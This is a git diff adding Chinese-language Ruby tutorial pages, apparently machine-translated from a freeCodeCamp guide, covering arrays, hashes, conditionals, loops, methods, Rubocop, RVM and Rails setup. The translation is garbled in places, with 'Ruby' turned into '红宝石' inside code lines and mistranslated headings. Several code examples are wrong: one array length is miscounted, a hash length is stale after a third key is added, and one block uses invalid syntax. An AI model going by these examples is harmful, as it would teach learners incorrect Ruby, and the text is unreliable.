+红宝石 array = \[1,1,2,2,3,3,3,4,4,4,4,5,6,7,8\] array.uniq => \[1,2,3,4,5,6,7,8\]
+```
+#### .concat 
+ The .concat method appends the elements from an array to the original array. The .concat method can take in multiple arrays as an argument, which will in turn append multiple arrays to the original array. 
+```
+
+红宝石 array = \[0,1,2,3,4\] array.concat（\[5,6,7\]，\[8,9,10\]） => \[0,1,2,3,4,5,6,7,8,9,10\] \`\`\`
+
+## 更多信息
+
+*   [Ruby Array文档](http://ruby-doc.org/core-2.5.1/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/index.md b/client/src/guide/chinese/ruby/index.md
new file mode 100644
index 0000000000..04fdc8b19b
--- /dev/null
+++ b/client/src/guide/chinese/ruby/index.md
@@ -0,0 +1,131 @@
+---
+title: Ruby
+localeTitle: 红宝石
+---
+## 什么是Ruby？
+
+Ruby由Yukihiro“Matz”Matsumoto创建，是一种[开源](https://github.com/ruby/ruby) ，动态和解释的脚本语言，用于快速简便的面向对象编程。意思是：
+
+众所周知，它拥有编程语言中[最大的友好社区](https://www.ruby-lang.org/en/community/)之一。
+
+*   能够直接进行操作系统调用
+*   开发期间的即时反馈
+*   变量声明是不必要的
+*   内存管理是自动的
+*   一切都是对象
+*   模块具有“mixin”功能
+*   迭代器和闭包
+
+如果您不熟悉上述一些概念，请继续阅读，不要担心。 Ruby专注于简单性和生产力，具有易于阅读和易于编写的优雅语法，例如：
+
+```ruby
+# Quick example of Ruby with Object Oriented Programming 
+ class Greeter 
+  def initialize(name) 
+    @name = name.capitalize 
+  end 
+ 
+  def salute 
+    puts "Hello #{@name}!" 
+  end 
+ end 
+ 
+ # Create a new object 
+ g = Greeter.new("world") 
+ 
+ # Output "Hello World!" 
+ g.salute 
+```
+
+## 版
+
+目前的稳定版本是[2.5.1](https://www.ruby-lang.org/en/news/2018/03/28/ruby-2-5-1-released/) 。
+
+## 安装
+
+Mac OS X和许多Linux发行版预先安装了Ruby。要检查系统中是否预先安装了`ruby -v` ，只需在shell上运行`ruby -v` 。有几种方法可以安装Ruby：
+
+*   当您使用类UNIX操作系统时，使用系统的包管理器是最简单的入门方法。但是，打包的Ruby版本通常不是最新版本。
+*   安装程序可用于安装特定或多个Ruby版本。还有一个Windows安装程序。
+*   管理器可帮助您在系统上的多个Ruby安装之间切换。
+*   最后，您还可以从源代码构建Ruby。
+
+要了解如何通过包管理器，安装程序和源安装Ruby，请单击[此处](https://www.ruby-lang.org/en/documentation/installation/) 。 RVM（Ruby Version Manager）和rbenv是管理多个Rubies的最流行的Ruby管理器。如果你被卡在任何地方，请不要担心，只需前往我们的[Gitter聊天室](https://gitter.im/FreeCodeCamp/ruby)并向我们​​询问任何问题。
+
+## IRB
+
+IRB代表Interactive Ruby Shell。缩写irb来自Ruby的文件扩展名为“.rb”的事实，尽管交互式Ruby文件没有“.irb”的扩展名。该程序从命令行启动，允许执行Ruby命令并立即响应，实时进行实验。它具有命令历史记录，行编辑功能和作业控制功能，并且能够通过Internet直接作为shell脚本进行通信，并与实时服务器进行交互。它由Keiju Ishitsuka开发。
+
+```shell
+    irb 
+    2.3.0 :001 > print "Hello World" 
+    Hello World! => nil 
+```
+
+## Ruby解释器
+
+Ruby解释器是用于运行Ruby脚本的。如果它可用并且在Unix shell的搜索路径中可以通过键入命令`ruby`来启动它，然后脚本名称将调用解释器并运行脚本。
+
+`hello_campers.rb`
+
+```ruby
+    if 'welcome' == 'welcome' 
+        print('Hello campers!') 
+    end 
+```
+
+从命令行：
+
+```shell
+    $ ruby hello_campers.rb 
+    Hello campers! 
+```
+
+## 文档
+
+Ruby有很好的[文档记录](https://www.ruby-lang.org/en/documentation/) 。这些文档包括语言的教程，指南，参考和元信息。  
+文档的另一个重要资源是[Ruby Doc](http://ruby-doc.org/core-2.3.0/) 。您应该访问此[链接](https://github.com/airbnb/ruby)以了解有关由AirBnB开发人员编写的Ruby样式指南的更多信息。
+
+Ruby中对初学者的推荐阅读是[为什么（Poignant）Ruby指南](https://poignant.guide/) 这本书在编程书籍中很不寻常。由于有很多奇怪的幽默和叙事方面的轨道有时与这个主题完全无关，因此在学习Ruby基础知识时，这个方法可以让读者受到娱乐。
+
+## 调试
+
+内联`print`语句可用于简单调试：
+
+```ruby
+    print some_variable # prints to console 
+```
+
+> **...通常，调试程序的最快方法是向源添加一些打印语句：快速编辑 - 测试 - 调试周期使这种简单方法非常有效。**
+
+Ruby还包含更强大的调试工具，例如：
+
+*   [_撬调试_](https://github.com/nixme/pry-debugger)
+
+## 你好，世界！
+
+回到文档，我们可以阅读[`print`](http://ruby-doc.org/core-2.3.0/Kernel.html#method-i-print)方法，它是[内核模块](http://ruby-doc.org/core-2.3.0/Kernel.html)的内置方法之一。
+
+```ruby
+    print(obj, ...) → nil 
+```
+
+将每个对象打印到$ stdout。非字符串的对象将通过调用其`to_s`方法进行转换。 print的返回值`nil` 。因此，当您在IRB中运行`print "Hello World!` ，输出为：
+
+```shell
+    2.3.0 :001 > print "Hello World!" 
+    Hello World! 
+     => nil 
+```
+
+## 框架（宝石）
+
+Ruby有几个用于快速搭建应用程序的框架（gem）。到目前为止最流行的是[Rails](http://rubyonrails.org/) ，它最初于2004年发布.Ruby的其他框架（宝石）包括[Sinatra](http://www.sinatrarb.com/) ， [Lotus](http://lotusrb.org/)和[Volt](http://voltframework.com/) 。这些选项中的每一个都有其发展的优点和缺点，并满足各种需求。
+
+## 用于移动开发的Ruby Framework
+
+要在Ruby中编写跨平台本机应用程序，RUBY MOTION用于使用Ruby编程语言为iOS，Android和OS X开发跨平台本机应用程序。 更多资源来自：http：//www.rubymotion.com/
+
+## 学习Ruby之后会怎么样？
+
+每种编程语言都扮演着重要的角色。您可以为许多开源项目做出贡献，或者在掌握了Ruby之后可以申请一些大公司。许多大型互联网网站，如Basecamp，Airbnb，Bleacher Report，Fab.com，Scribd，Groupon，Gumroad，Hulu，Kickstarter，Pitchfork，Sendgrid，Soundcloud，Square，Yammer，Crunchbase，Slideshare，Funny or Die，Zendesk，Github， Shopify建立在Ruby之上，因此有很多选择。 此外，许多初创公司正在招聘RUby on Rails技能的人，因为没有多少程序员试图学习Ruby。所以，你可能有一个明确的工作在一家初创公司工作。 因此，Ruby是初学者友好的，并且非常难以发现你有很多空缺可以作为开发人员工作。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/managing-ruby-versions/index.md b/client/src/guide/chinese/ruby/managing-ruby-versions/index.md
new file mode 100644
index 0000000000..8035411d54
--- /dev/null
+++ b/client/src/guide/chinese/ruby/managing-ruby-versions/index.md
@@ -0,0 +1,62 @@
+---
+title: Managing Ruby versions
+localeTitle: 管理Ruby版本
+---
+## Ruby已经发生了变化
+
+自20世纪90年代以来，Ruby一直在不断发展，与许多语言一样， 各个版本都有语法更改，因此明确这一点非常重要 关于代码期望的Ruby版本。
+
+可能最明显的变化来自Ruby 1.9;以前，我们写道 像这样的哈希：
+
+```ruby
+  { :one => 1, :two => 2, :three => 3 } 
+```
+
+使用'hashrocket'运算符（ `=>` ）是如此常见，Ruby 1.9 提供了一个简写：
+```
+  { one: 1, two: 2, three: 3 } 
+```
+
+这个旧代码可以在任何版本上运行，但较新的语法只能在Ruby 1.9+上运行。
+
+## 这是如何引起问题的？
+
+例如，您可能决定使用内部依赖的Gem Ruby 1.9功能;这意味着您的项目现在也依赖于Ruby 1.9 特征。
+
+如果你没有指定你的项目需要哪个版本的Ruby，它可能非常 代码在一台机器上运行而另一台机器运行时会造成混淆。
+
+与大多数语言一样，指定版本是一种良好的做法 您的代码期望的Ruby。这使得管理多个更容易 您的开发机器上的项目，每个项目都期望不同的版本 红宝石。
+
+## 如何指定我的Ruby版本？
+
+有一些很受欢迎的工具，但两者都同意了 共享一个共同的文件。许多Ruby（或Rails）项目都包含一个简单的项目 `.ruby-version`文件，它只是指定版本号， _例如_ ：
+```
+2.4.2 
+```
+
+帮助您管理Ruby版本的常用工具有：
+
+*   [Ruby版本管理器（RVM）](https://rvm.io)
+*   [rbenv](https://github.com/rbenv/rbenv)
+
+我们来看看RVM。
+
+### 使用RVM
+
+RVM通常安装在Linux，Unix或MacOS上（ [链接](https://rvm.io) ） 机器，并且非常方便，因为它挂入`cd` （ `c` hange `d` irectory） 命令，当您移动到新项目时，将读取`.ruby-version` 自动，您将自动切换到正确的Ruby版本 在你开始工作之前。
+
+例如，您可能有以下序列：
+
+```shell
+% cd ~/projects/older-project 
+ % ruby --version 
+ 
+ ruby 2.3.5p376 (2017-09-14 revision 59905) [x86_64-darwin16] 
+ 
+ % cd ~/projects/newer-project 
+ % ruby --version 
+ 
+ ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-darwin16] 
+```
+
+（这些示例来自MacOS机器）
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/rubocop/index.md b/client/src/guide/chinese/ruby/rubocop/index.md
new file mode 100644
index 0000000000..d70ba6823e
--- /dev/null
+++ b/client/src/guide/chinese/ruby/rubocop/index.md
@@ -0,0 +1,64 @@
+---
+title: Rubocop
+localeTitle: Rubocop
+---
+[Rubocop](https://github.com/bbatsov/rubocop)是一种静态分析工具 [Ruby](https://www.ruby-lang.org/en/) 。这是什么意思？这意味着Rubocop 将“读取”您的代码（而不是运行它，因此'静态'部分 （名称），并分析它。 Rubocop使用的分析规则来自 [Ruby社区风格指南](https://github.com/bbatsov/ruby-style-guide) 。
+
+样式指南是一组关于如何编写代码的具体建议 更具可读性，更具表现力，更传统。作为一个社区，它 如果我们能够轻松地阅读其他任何人的代码，那将是非常棒的，他们可以 轻松阅读我们的这就是Rubocop帮助我们做的事情。这种工具是 总是有价值的，但是当你学习Ruby时它特别有用 你可能编码哪个是_正确的_ ，但不符合Ruby惯例， 或者没有利用Ruby的一些更强大的功能。
+
+最有用的是，Rubocop可以自动修复许多次要警告 - 比如 间距不正确。这在代码审查之前非常有用，因为它意味着你的 其他开发人员可以专注于更高层次的关注，而不必浪费 在语法问题上的时间。
+
+## 使用Rubocop
+
+### 安装
+
+Rubocop作为Gem交付，所以在一个使用Bundler的典型项目中 将它添加到您的`Gemfile`的开发部分：
+```
+group :development do 
+  gem rubocop 
+ end 
+```
+
+这意味着使用您的项目的任何人都将拥有相同版本的Rubocop，并且 每个人都会同意目前的最佳做法。
+
+### 用法
+
+在每次提交之前，我都想检查我新修改的代码是否符合要求 社区标准，只需运行：
+```
+rubocop 
+```
+
+这将输出有关您的代码的警告列表。
+
+向Rubocop寻求更多帮助会很有帮助：
+```
+rubocop --extra-details --display-cop-names 
+```
+
+（您可以将它们添加到`.rubocop`文件中以使其成为默认值。）
+
+许多编辑将允许您集成Rubocop，它可以立即提供 编写代码时的反馈。
+
+### 修复问题
+
+假设我写了一些新代码;在我提交之前，我可能会决定 检查它是否符合指南：
+
+```shell
+rubocop <my new file> 
+```
+
+我可以手动编辑建议的更改，或者我可以要求Rubocop修复 小问题自动：
+```
+rubocop --auto-correct 
+```
+
+### 仅运行某些警察
+
+每个社区指南都以Rubocop“警察”的形式实施。在工作时 遗留的代码库在引入Rubocop时可能会被警告淹没。 在这种情况下，只运行一个警察通常是有用的 代码库，并在继续下一个指南之前检查这些更改 例：
+```
+rubocop --auto-correct --only 'Layout/EmptyLineAfterMagicComment' 
+```
+
+### 文本编辑器集成
+
+Rubocop可以与Vim，Visual Studio Code，Atom和其他文本编辑器集成。完整列表可以在[这里](https://rubocop.readthedocs.io/en/latest/integration_with_other_tools/)找到。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-arrays/index.md b/client/src/guide/chinese/ruby/ruby-arrays/index.md
new file mode 100644
index 0000000000..c60d3630af
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-arrays/index.md
@@ -0,0 +1,56 @@
+---
+title: Ruby Arrays
+localeTitle: Ruby数组
+---
+## Ruby数组
+
+数组表示值列表。各个值通常称为数组的“元素”。要在Ruby中创建数组，请使用方括号并使用逗号分隔值：
+
+```ruby
+my_array = [1, 2, 3, 4, 5] 
+```
+
+第一个例子是一个数字数组，但Ruby数组可以包含不同类型的值，甚至包含其他数组：
+
+```ruby
+mixed_array = [5, "Hello World", true, [1,2,3]] 
+```
+
+您可以使用方括号和数字索引访问数组的元素。请注意，第一个元素位于索引0，而不是1：
+
+```ruby
+mixed_array[0] # 5 
+ mixed_array[1] # "Hello World" 
+ mixed_array[2] # true 
+```
+
+您可以使用`length`方法检查数组中有多少元素：
+
+```ruby
+mixed_array.length # 3 
+ [].length # 0 
+```
+
+您可以使用`first`一种方法检查数组的`first`一个元素：
+
+```ruby
+mixed_array.first # 5 
+```
+
+您可以使用最后`last`方法检查数组的`last`一个元素：
+
+```ruby
+mixed_array.last # true 
+```
+
+#### Ruby Lambda
+
+lambda通常也称为匿名函数。要在Ruby中创建lambda，可以使用以下语法：
+
+```ruby
+lambda = lambda {} 
+```
+
+#### 更多信息：
+
+[Ruby数组文档](https://ruby-doc.org/core-2.4.2/Array.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-comments/index.md b/client/src/guide/chinese/ruby/ruby-comments/index.md
new file mode 100644
index 0000000000..6a47814ae9
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-comments/index.md
@@ -0,0 +1,48 @@
+---
+title: Ruby Comments
+localeTitle: Ruby评论
+---
+# Ruby评论
+
+注释是代码中的注释行，在运行时被忽略（这意味着它们在源代码中可见但在运行程序时不会打印出来）。
+
+在Ruby中，单行注释以`#`字符开头并延伸到行尾。评论可以是自己的行或代码。
+
+```Ruby
+puts "Learning to code is fun!" 
+ 
+ # I am a single line comment. 
+ 
+ puts "Ruby is a great language!" # Me too - I am a trailing comment. 
+```
+
+执行时，上面的程序产生以下内容：
+```
+Learning to code is fun! 
+ Ruby is a great language! 
+```
+
+您可以通过在`=begin`和`=end`之间添加注释来执行多行注释。 `=begin`和`=end`必须从行的最开始开始， `=end`必须在它自己的一行上。
+
+```ruby
+=begin 
+ I am a multi-line comment 
+ and I can be as long as I please. 
+ See, still going! 
+ =end 
+ 
+ puts "Hello World!" 
+ 
+ =begin It's ok to start the comment on the same 
+ line as "=begin" (though it's more readable if 
+ you don't) but you can't put a space or any 
+ text before "=begin" or "=end" and you can't put 
+ anything on the same line after "=end". 
+ =end 
+```
+
+执行时，上面的程序产生以下内容：
+```
+Hello World! 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-conditionals/index.md b/client/src/guide/chinese/ruby/ruby-conditionals/index.md
new file mode 100644
index 0000000000..af4c77dd05
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-conditionals/index.md
@@ -0,0 +1,54 @@
+---
+title: Ruby Conditionals
+localeTitle: Ruby条件
+---
+Ruby有几个常用的条件。
+
+## 如果声明
+
+在许多编程语言中非常常见的条件，语句测试条件是否为真，然后分支到指定的操作。 if语句包含一个`if` ， 任何数量的`elsif`和至多一个`else`声明。
+
+*   ```ruby
+    fruit = :apple 
+     
+     if fruit == :apple 
+      puts "Your fruit is an apple" 
+     elsif fruit == :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    
+    ```
+    
+
+### 除非声明
+
+除非语句与if语句相反。它与否定的if语句相同。
+
+*   `ruby happy = true if !happy puts "This person is not happy" end` 以上陈述等同于以下陈述
+*   `ruby unless happy puts "This person is not happy" end`
+
+## 三元声明
+
+三元语句用作短条件语句。它写成如下
+
+*   `ruby game = "won" fans = game == "won" ? "happy" : unhappy fans # => "happy"`
+
+## 案例陈述
+
+case语句类似于if / elsif / else语句
+
+*   ```ruby
+    fruit = :apple 
+     
+     case fruit 
+     when :apple 
+      puts "Your fruit is an apple" 
+     when :orange 
+      puts "Your fruit is an orange" 
+     else 
+      puts "This is not an apple or an orange" 
+     end 
+    
+    ```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-for-loop/index.md b/client/src/guide/chinese/ruby/ruby-for-loop/index.md
new file mode 100644
index 0000000000..81a3f91e55
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-for-loop/index.md
@@ -0,0 +1,29 @@
+---
+title: Ruby For Loops
+localeTitle: Ruby For循环
+---
+## Ruby For循环
+
+Ruby for循环用于循环或迭代许多元素并执行每个元素的代码块。 For循环通常用在数组上。请参阅[Ruby Arrays](https://github.com/freeCodeCamp/guides/blob/master/src/pages/ruby/ruby-arrays/index.md)部分。
+
+for循环只是循环或迭代元素的一个例子。下面是for循环的示例：
+```
+for element in array do 
+  puts element 
+ end 
+```
+
+在Ruby中有许多不同的方法可以执行for循环或循环，另一个例子是：
+```
+element.each do |element| 
+  puts element 
+ end 
+```
+
+这将获得与上述for循环完全相同的结果，但是它使用Array的内置方法更整洁，更高效。
+
+为了更进一步，我们可以通过以下方式编写上述循环：
+```
+element.each do { |element| puts element } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-hash/index.md b/client/src/guide/chinese/ruby/ruby-hash/index.md
new file mode 100644
index 0000000000..3d066f693e
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-hash/index.md
@@ -0,0 +1,45 @@
+---
+title: Ruby Hash
+localeTitle: Ruby哈希
+---
+## Ruby哈希
+
+哈希表示不同键，值对的集合。它也被称为关联数组。要在Ruby中创建哈希，请使用大括号并使用逗号分隔每个键值对。
+
+```ruby
+my_hash = {:key1 => "value", :key2 => "value2"} 
+```
+
+您可以通过以下方式创建哈希
+
+```ruby
+my_hash = Hash.new  # with empty hash 
+ my_hash = {:key1 => "value", :key2 => "value2"} # with key's and value's defined 
+```
+
+您可以使用方括号和键引用访问哈希中键的值
+
+```ruby
+my_hash[:key1]  # value 
+ my_hash[:key2]  # value2 
+```
+
+您可以为已定义的哈希分配新密钥和值
+
+```ruby
+my_hash[:key3] = "value3" # {:key1=>"value", :key2=>"value2", :key3=>"value3"} 
+```
+
+您可以使用`length`方法检查哈希的元素数量：
+
+```ruby
+my_hash.length # 2 
+```
+
+您也可以将整数创建为散列键，但语法与通常的不同
+
+```ruby
+my_hash = {1: "value"} # will raise an exception 
+ my_hash = {1 => "value"} # will create hash with corresponding key value pair 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-hashes/index.md b/client/src/guide/chinese/ruby/ruby-hashes/index.md
new file mode 100644
index 0000000000..065d014868
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-hashes/index.md
@@ -0,0 +1,54 @@
+---
+title: Ruby Hashes
+localeTitle: Ruby Hashes
+---
+## Ruby Hashes
+
+哈希是键和值的集合。它类似于其他语言中通常所说的字典。在Ruby中，散列类似于[数组](https://raw.githubusercontent.com/freeCodeCamp/guides/master/src/pages/ruby/ruby-arrays/index.md) ，但不是简单地存储它存储键值对的值。
+
+```ruby
+array = ["value"] 
+ hash = { "key" => "value" } 
+```
+
+创建新哈希有几种不同的方法：
+
+```ruby
+hash1 = {a: 100, b: "200"} 
+ hash2 = Hash.new 
+ hash3 = Hash.new(0) # with default value set to 0 
+```
+
+然后，程序员可以使用其键而不是索引来访问哈希值。
+
+```ruby
+array[0] # => "value" 
+ hash["key"] # => "value" 
+```
+
+通过这种方式，哈希的行为更像是字典，您可以通过其键查找值。
+
+```ruby
+dictionary = { "Aardvark" => "a large, nocturnal, burrowing mammal", 
+               "Zyzzyva" => "a genus of tropical weevils" } 
+ dictionary["Aardvark"] # => "a large, nocturnal, burrowing mammal" 
+ dictionary["Zyzzyva"] # => "a genus of tropical weevils" 
+```
+
+您还可以使用[符号](#)作为键创建哈希。
+
+```ruby
+hash = { :symbol => "value" } 
+ hash[:symbol] # => "value" 
+```
+
+此外，如果您的所有键都是[符号](#) ，则可以使用此备用格式编写哈希值，但您可以以相同的方式访问它：
+
+```ruby
+hash = { symbol: "value" } 
+ hash[:symbol] # => "value" 
+```
+
+#### 更多信息：
+
+[Ruby哈希文档](https://ruby-doc.org/core-2.4.2/Hash.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-methods/index.md b/client/src/guide/chinese/ruby/ruby-methods/index.md
new file mode 100644
index 0000000000..bf3e6128b1
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-methods/index.md
@@ -0,0 +1,40 @@
+---
+title: Ruby Methods
+localeTitle: Ruby方法
+---
+## 介绍
+
+您是否听说过涉及功能的编程语言？如果您使用JavaScript编写代码，那么您应该对它们非常熟悉。 Ruby也有函数，但我们将它们称为Methods。方法只是捆绑的代码块，这些代码块具有易于使用和可访问性的名称，并且对于编程中的DRY（不要重复自己）方法至关重要。
+
+## 创建和使用方法
+
+应始终将方法定义为小写（如果您愿意，可以使用下划线分隔单词），否则它们可能会被混淆为常量。在实际尝试调用它们之前，还应该定义方法，因此经验法则是在文件开头创建方法，然后在需要时调用它们。总是尽量避免使用单字方法名称，你希望能够或多或少知道方法的作用，而不必挖掘内部。
+
+## 句法
+
+方法很容易创建，它们可以创建，但不能接受参数，参数甚至是预先定义的参数（如果没有给出）。
+
+#### 简单的方法
+```
+def my_method 
+  code goes here 
+ end 
+```
+
+#### 参数接受方法
+```
+def my_method (param1, param2) 
+  param1 + param2 
+ end 
+```
+
+#### 预定义参数方法（未给出预定义参数时使用）
+```
+def my_method (param1 = parameter1, param2 = parameter2) 
+  parm1 + parm2 
+ end 
+```
+
+## 返回方法
+
+方法的返回值将始终是方法中最后一个求值的表达式。但是，如果需要，您可以使用return关键字返回多个值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-numbers-methods/index.md b/client/src/guide/chinese/ruby/ruby-numbers-methods/index.md
new file mode 100644
index 0000000000..49fb253fe7
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-numbers-methods/index.md
@@ -0,0 +1,101 @@
+---
+title: Ruby Number Methods
+localeTitle: Ruby编号方法
+---
+Ruby提供了各种可用于数字的内置方法。以下是[整数](https://ruby-doc.org/core-2.2.0/Integer.html)和[浮点](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil)方法的不完整列表。
+
+## [甚至](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-even-3F) ：
+
+使用`.even?`检查[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html)是否是偶数。返回`true`或`false` **布尔值** 。
+
+```Ruby
+    15.even? #=> false 
+    4.even?  #=> true 
+```
+
+## [奇怪的](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-odd-3F) ：
+
+使用`.odd?`检查[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html)是否为奇数。返回`true`或`false` **布尔值** 。
+
+```Ruby
+    15.odd? #=> true 
+    4.odd?  #=> false 
+```
+
+## [Ceil](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) ：
+
+该`.ceil`方法几轮[**漂浮**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) **到**最近的数。返回一个[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) 。
+
+```Ruby
+    8.3.ceil #=> 9 
+    6.7.ceil #=> 7 
+```
+
+## [楼层](https://ruby-doc.org/core-2.2.0/Float.html#method-i-floor) ：
+
+`.floor`方法将[**浮点数**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) **向下** `.floor`入到最接近的数字。返回一个[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) 。
+
+```Ruby
+    8.3.floor #=> 8 
+    6.7.floor #=> 6 
+```
+
+## [下一个](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-next) ：
+
+使用`.next`返回下一个连续的[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) 。
+
+```Ruby
+    15.next #=> 16 
+    2.next  #=> 3 
+    -4.next #=> -3 
+```
+
+## [Pred](https://ruby-doc.org/core-1.8.7/Integer.html#method-i-pred) ：
+
+使用`.pred`返回先前的连续[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) 。
+
+```Ruby
+    15.pred #=> 14 
+    2.pred  #=> 1 
+    (-4).pred #=> -5 
+```
+
+## [字符串](https://ruby-doc.org/core-2.4.2/Object.html#method-i-to_s) ：
+
+在数字上使用`.to_s` （ [**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) ， [**浮点数**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil)等）会返回该数字的[字符串](https://ruby-doc.org/core-2.2.0/String.html) 。
+
+```Ruby
+    15.to_s  #=> "15" 
+    3.4.to_s #=> "3.4" 
+```
+
+## [最大的共同点](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-gcd) ：
+
+`.gcd`方法提供两个数字的最大公约数（总是正数）。返回一个[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html) 。
+
+```Ruby
+    15.gcd(5) #=> 5 
+    3.gcd(-7) #=> 1 
+```
+
+## [回合](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-round) ：
+
+使用`.round`返回舍入的[**整数**](https://ruby-doc.org/core-2.2.0/Integer.html)或[**浮点数**](https://ruby-doc.org/core-2.2.0/Float.html) 。
+
+```Ruby
+    1.round        #=> 1 
+    1.round(2)     #=> 1.0 
+    15.round(-1)   #=> 20 
+```
+
+## [时间](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-times) ：
+
+使用`.times`迭代给定的块`int`次。
+
+```Ruby
+    5.times do |i| 
+      print i, " " 
+    end 
+    #=> 0 1 2 3 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-numbers-operations/index.md b/client/src/guide/chinese/ruby/ruby-numbers-operations/index.md
new file mode 100644
index 0000000000..d778c1798a
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-numbers-operations/index.md
@@ -0,0 +1,29 @@
+---
+title: Ruby Numbers Operations
+localeTitle: Ruby Numbers操作
+---
+在Ruby中，您可以对数字执行所有标准数学运算，包括：加`+` ，减法`-` ，乘法`*` ，除法`/` ，查找余数`%` ，以及使用指数`**` 。
+
+## 加成：
+
+*   可以使用`+`运算符将数字相加。 `ruby 15 + 25 #=> 40`
+
+## 减法：
+
+*   可以使用`-`运算符将数字相互减去。 `ruby 25 - 15 #=> 10`
+
+## 乘法：
+
+*   可以使用`*`运算符将数字相乘。 `ruby 10 * 5 #=> 50`
+
+## 师：
+
+*   可以使用`/`运算符将数字相互分开。 `ruby 10 / 5 #=> 2`
+
+## 余：
+
+*   可以使用模数`%`运算符找到剩余。 `ruby 10 % 3 #=> 1 # because the remainder of 10/3 is 1`
+
+## 指数：
+
+*   可以使用`**`运算符计算指数。 `ruby 2 ** 3 #=> 8 # because 2 to the third power, or 2 * 2 * 2 = 8`
\ No newline at end of file
diff --git a/client/src/guide/chinese/ruby/ruby-on-rails/index.md b/client/src/guide/chinese/ruby/ruby-on-rails/index.md
new file mode 100644
index 0000000000..62d26467d1
--- /dev/null
+++ b/client/src/guide/chinese/ruby/ruby-on-rails/index.md
@@ -0,0 +1,118 @@
+---
+title: Ruby on Rails
+localeTitle: Ruby on Rails
+---
+# Ruby on Rails
+
+[Ruby on Rails](http://rubyonrails.org/)是一个基于Ruby语言构建网站的服务器端框架（gem）。 Rails使Web开发更快，更容易，更有趣。它包括构建精彩应用程序所需的一切，并拥有一个庞大的社区。 Rails由David Heinemeir Hansson创建，目前是第5版。 Rails强调使用其他众所周知的软件工程模式和范例，包括[约定优于配置（CoC）](https://en.wikipedia.org/wiki/Convention_over_configuration) ， [不重复自己（DRY）](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)和活动记录模式。 Rails是一个[模型 - 视图 - 控制器（MVC）](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)框架，为数据库，Web服务和Web页面提供默认结构。最近，Rails集成了一个API模块，可以更快，更轻松地创建Web服务。
+
+## 安装Rails
+
+Rails的下载方式与任何其他Ruby gem相同：使用`gem install`命令。在我们下载它之前，我们需要[下载Ruby](https://www.ruby-lang.org) 。之后我们距离Ruby on Rails只有3个字：
+
+```shell
+$ gem install rails 
+```
+
+## 设置数据库
+
+Rails附带sqlite3作为默认数据库，这是磁盘上的一个简单文件。如果你想使用更强大的东西，你需要安装MySQL或PostgreSQL。
+
+## 创建Rails应用程序
+
+1.  在安装Ruby on Rails之后，创建一个全新的应用程序非常简单，我们只需要3个单词：
+
+```shell
+$ rails new your_application_name 
+```
+
+*   如果你想使用MySQL `shell $ rails new <application_name> -d mysql`
+*   如果你想使用Postgres `shell $ rails new <application_name> -d postgresql`
+
+1.  此命令将创建一个文件夹，其中包含_您_在上一个命令中通知_的_应用程序_名称_ 。下一步是转到刚刚创建的新目录：
+
+```shell
+$ cd your_application_name 
+```
+
+3.  在运行应用程序之前获取必要的gem和软件包：
+
+```shell
+$ bundle install 
+```
+
+4.  要运行rails服务器并查看是否所有内容都相应快速：
+
+```shell
+$ rails server 
+```
+
+它不能再简单了！好吧，这实际上并非100％正确，我们可以通过将`rails server`命令减少为：
+
+```shell
+$ rails s 
+```
+
+5.  现在，使用您首选的浏览器，转到`http://localhost:3000` ，您将看到：“是的！您正在使用Rails！”
+
+### 创建Rails应用程序的替代方法
+
+1.  创建一个新目录：
+    
+    ```shell
+    $ mkdir <application_name> 
+    
+    ```
+    
+2.  进入新目录：
+    
+    ```shell
+    $ cd <application_name> 
+    
+    ```
+    
+3.  使用Unix点表示法创建Rails应用程序。这导致将目录的名称分配给新应用程序。
+    
+    ```shell
+    $ rails new . 
+    
+    ```
+    
+4.  开始探索刚刚创建的应用程序的框架。文件夹结构根据下表组织：
+    
+
+|文件/文件夹|目的|  
+| ----------- ------- |  
+| app / |包含应用程序的控制器，模型，视图，帮助程序，邮件程序，通道，作业和资产。您将在本指南的其余部分重点介绍此文件夹。 |  
+| bin / |包含启动应用程序的rails脚本，可以包含用于设置，更新，部署或运行​​应用程序的其他脚本。 |  
